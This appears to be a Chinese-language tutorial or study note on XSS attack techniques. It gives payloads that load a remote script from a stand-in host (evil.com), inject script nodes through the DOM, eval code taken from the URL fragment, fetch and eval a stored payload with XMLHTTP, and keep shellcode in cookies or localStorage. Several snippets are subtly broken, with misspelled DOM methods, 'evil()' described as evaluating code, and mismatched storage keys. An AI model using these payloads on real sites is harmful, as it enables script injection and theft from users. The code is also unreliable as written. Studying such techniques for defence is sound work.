1.ShellCode,最初是溢出程序和蠕蟲病毒的核心,實際上是指利用一個漏洞是所執行的代碼,在XSS跨站腳本中,是指由javascript等腳本編寫的XSS利用代碼;
2.Exploit,在黑客眼里就是漏洞利用,通常表示完整編寫好的漏洞利用工具(或程序),具有一定的攻擊性;Exploit往往包含了shellcode
3.POC:即Proof of Concept,是一段證明漏洞存在的程序代碼片段;
4.攻擊者往往會把shellcode寫到遠程服務器中,然后使用<script>等標簽對其進調用,或者使用一些本地存儲對象對其進行存儲和調用等
(1)動態調用遠程javaScript
**使用<script>標簽調用遠程javaScript:
"><script src=http://www.evil.com/xss.js></script><
http://www.bug.com/view.php?sort="><script src=http://www.evil.com /xss.js></script><
**基於DOM的方法創建和插入節點,把腳本或HTML注入到網頁,實現過程:
var s=document.createElment("script"); //使用createElement()函數創建一個新元素---script
s.src="http://www.evil.com/xss.js"; //把<script>的屬性src設置成“http://www.evil.com/xss.js”,xss.js里面寫有shellcode代碼
document.getElmentsByTagName("head")[0].appendChild(s); //使用getElementByTagName()函數查找並返回文檔中第一個元素,然后利用appendChild() 函數調用元素參數s
5.使用window.location.hash
(1)location是JavaScript管理地址欄的內置對象,比如location.href用來管理頁面的URL,用location.href=URL,就可以直接將頁面重定向URL;
(2)location.hash則可以用來獲取或設置頁面的標簽值:
例如:
http://www.bug.com/view.php?sort="><script>evil(location.hash.substr(1))</script>#alert('XSS')
substr()可在字符串中抽取從start下標開始的指定數目的字符,所以location.hash.substr(1)的作用就是抽取“#”符號后邊的字符,即alert('XSS')
evil()函數用來計算某個字符串,並執行其中的javaScript代碼
那么,evil(location.hash.subsrt(1))的功能就是執行URL的#之后的javaScript代碼
6.XSS Downloader:另一種存儲和調用shellCode的方法,即將其存儲在網站的數據庫中,包括網頁的信息,文章內容,個人資料等地方,然后再把它們下載下來執行
(1)簡單的說,就是打造一個XSS downloader(XSS下載器),事先把shellcode寫在網站的某個頁面,在利用XMLHTTP控件向網站發送HTTP請求(POST或GET),然后執行返回的數據;
(2)例如:
function XSS(){
a=new ActiveXObject('Microsoft.XMLHTTP'); //定義一個XSS函數,該函數也就是調用shellcode的主函數
a.Open('get','http://www.bug.com/11221.html',false); //創建一個XMLHTTP對象
a.send();
b=a.responseText; //向http://www.bug.com/11221.html發送一個HTTP請求並獲取HTTP響應
eval(unescape(b.substring(b.indexOf('BOF|')+4,b.indexOf('|EOF')))); //用indexOf()函數計算BOF|和|EOF的位置,再用substring()函數方法取出字符串,后用 //unescape函數方法解碼執行
}
XSS();
7.備選存儲技術:把XSS shellcode存儲在客戶端本地域中,比如HTTP cookie,Flash共享對象,UserData,localStorage等
(1)在cookie是客戶端存儲技術中的傳統解決方法,存儲的容量有限,被限制在4KB以內:
function setShellCodz(codz){
var exp=new Date();
exp.setTime(exp.getTime()+365*24*60*60*1000);
document.cookie='shellcode='+escape(codz)+';'+'expires='+exp.toGMTString();
}
(2)另一種存儲容器就是Flash共享對象(SO),類似於HTTP Cookie的運用方式,所以也被稱為Flash Cookie,SO的存儲容量可以達到100KB,並且可以使用任何形式的js對象
缺點是必須使用Flash軟件
(3)IE的UserData也可以存儲shellcode,UserData是微軟專門為IE在系統中開辟的一塊存儲空間,最少可以存儲640KB,缺點是只能在IE上使用
(4)H5提供了兩種在客戶端存儲數據的新方法,包括localStorage和sessionStorage
存儲數據的方式是直接給window.localStorage添加一個屬性,如:window.localStorage.a
例子:
<script>
localStorage.a="XSS";
document.write(localStorage.a);
if(localStorage.count)
{
localStorage.count=Number(localStorage.count)+ 1;
}else{
localStorage.count=1;
}
document.write(訪問次數"+localStorage.count+"time(s).");
</script>
如果要把XSS Shellcode存儲在localStorage中:
function setShellCodz(codz){
window.localStorage.setItem("shellcode",codz);
}
執行shellcode:
function getShellCodz(){
eval(window.localStorage.getItem("shellcodz"));
}